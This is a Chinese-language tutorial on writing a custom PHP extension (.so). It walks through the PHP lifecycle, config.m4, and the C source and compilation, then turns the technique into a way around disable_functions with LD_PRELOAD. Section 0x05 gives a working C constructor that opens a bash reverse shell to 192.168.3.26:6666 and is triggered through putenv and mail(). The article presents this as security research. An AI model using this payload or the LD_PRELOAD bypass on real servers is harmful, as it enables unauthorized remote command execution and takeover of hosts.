php自定义恶意扩展so编写过程
字数 1514 2025-08-22 12:23:36
PHP自定义恶意扩展SO编写过程详解
0x01 前言
LD_PRELOAD是Linux的环境变量,可以设置一个指定库的路径,常被用来绕过disable_functions限制。本文将详细讲解如何编写PHP自定义扩展(.so文件)的完整过程,包括PHP扩展与PHP内核的交互机制。
0x02 PHP生命周期与扩展加载
PHP的生命周期分为五个关键阶段:
-
模块初始化阶段
- 注册PHP和Zend引擎的扩展
- 将常量注册到EG(zend_constants)
- 全局变量注册到CG(auto_globals)
- 调用PHP扩展的PHP_MINIT()
-
请求初始化阶段
- 初始化PHP脚本的基本执行环境
- 调用PHP扩展的PHP_RINIT()
-
执行PHP脚本阶段
- 将PHP编译成opcode码
- 使用Zend引擎执行opcode
-
请求结束阶段
- 清理EG(symbol_table)
- 销毁全局变量PG(http_globals)
- 调用析构函数和各种扩展的RSHUTDOWN函数
- 关闭编译器和执行器
- 关闭内存管理器
-
模块关闭阶段
- 清理持久化符号表
- 调用各扩展的MSHUTDOWN
- 清理扩展globals
- 注销扩展提供的函数
扩展加载过程
PHP扩展的加载发生在模块初始化阶段,具体步骤如下:
- 使用
dlopen()函数打开.so库文件,并返回句柄给dlsym() - 使用
dlsym()函数获取动态库中的get_module()函数地址 - 调用
get_module()函数获取扩展的zend_module_entry结构 - 检查Zend API版本号,确认是否适用于当前PHP版本
- 注册扩展,将扩展添加到
module_registry中 - 如果扩展有内部函数,将内部函数注册到EG(function_table)中
0x03 扩展编写详细步骤
1. 编写config.m4文件
config.m4是扩展的编译配置文件,会被include到configure.in文件中,最终被autoconf编译为configure。
基本模板:
PHP_ARG_ENABLE(扩展名称, for mytest support,
Make sure that the comment is aligned:
[ --with-扩展名称 Include xxx support])
if test "$PHP_扩展名称" != "no"; then
PHP_NEW_EXTENSION(扩展名称, 源码文件列表, $ext_shared,, -DZEND_ENABLE_STATIC_TSRMLS_CACHE=1)
fi
实际示例:
PHP_ARG_ENABLE(php_knight, Whether to enable the KnightPHP extension,
[ --enable-knight-php Enable KnightPHP ])
if test "$PHP_KNIGHT" != "no"; then
PHP_NEW_EXTENSION(php_knight, php_knight.c, $ext_shared)
fi
2. 编写头文件(.h)
php_knight.h示例:
// 定义模块常量
#define PHP_KNIGHT_EXTNAME "php_knight"
#define PHP_KNIGHT_VERSION "0.0.1"
// 声明模块的函数功能
PHP_FUNCTION(knight_php); // 此处是你想要生成的扩展函数
3. 编写源文件(.c)
php_knight.c示例:
// 包含php.h文件
#include <php.h>
// 包含扩展文件
#include "php_knight.h"
// 将函数注册到php中
zend_function_entry knight_php_functions[] = { // 此处要是 函数名_functions[]
PHP_FE(knight_php, NULL) // 此处为函数名
{NULL, NULL, NULL}
};
// 关于整个模块的详细信息
zend_module_entry knight_php_module_entry = { // 结构体的格式是 函数名_module_entry
STANDARD_MODULE_HEADER, // 宏统一设置
PHP_KNIGHT_EXTNAME, // 扩展名称
knight_php_functions, // 扩展的内部函数
NULL, NULL, NULL, NULL, NULL,
PHP_KNIGHT_VERSION, // 扩展版本
STANDARD_MODULE_PROPERTIES // 宏统一设置
};
// 提供一个接口给php来获取zend_module_entry
ZEND_GET_MODULE(knight_php)
// 函数实现
PHP_FUNCTION(knight_php)
{
php_printf("Hello World!\n");
}
4. 编译扩展
-
安装必要的工具:
sudo apt-get install php-dev -
生成configure文件:
phpize -
配置编译选项:
./configure --enable-php-knight -
编译并安装:
make make install
编译完成后,会在目录下生成php_knight.so文件。
0x04 使用自定义扩展
编写PHP测试文件test.php:
<?php
putenv("LD_PRELOAD=./php_knight.so");
knight_php();
访问该PHP文件,将会输出"Hello World!"。
0x05 另一种恶意扩展实现方法
1. 编写C代码
knight.c示例:
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
__attribute__ ((__constructor__)) // 在main()函数之前执行
static void test()
{
char cmd[0x100];
strcpy(cmd, "bash -i >& /dev/tcp/192.168.3.26/6666 0>&1");
system(cmd);
}
2. 编译为共享库
gcc knight.c -fPIC -shared -o knight.so
3. PHP调用代码
knight.php示例:
<?php
putenv("LD_PRELOAD=./knight.so");
mail('', '', '', ''); // 调用扩展
?>
这种方法相比前一种的局限性在于需要mail()函数未被禁用。
0x06 关键点总结
- LD_PRELOAD机制:利用Linux环境变量在程序运行前加载自定义库
- PHP扩展结构:必须包含
zend_module_entry和ZEND_GET_MODULE - 编译过程:需要正确编写config.m4并使用phpize工具链
- 函数注册:通过
zend_function_entry数组注册PHP可调用的函数 - 两种实现方式:
- 完整PHP扩展方式(更灵活但复杂)
- 简单共享库方式(依赖特定函数如mail())
- 恶意功能实现:可以在构造函数中执行任意系统命令
安全注意事项
本文所述技术仅用于安全研究和防御目的。在实际环境中使用此类技术可能违反系统安全策略,请确保在合法授权范围内使用,并遵守相关法律法规。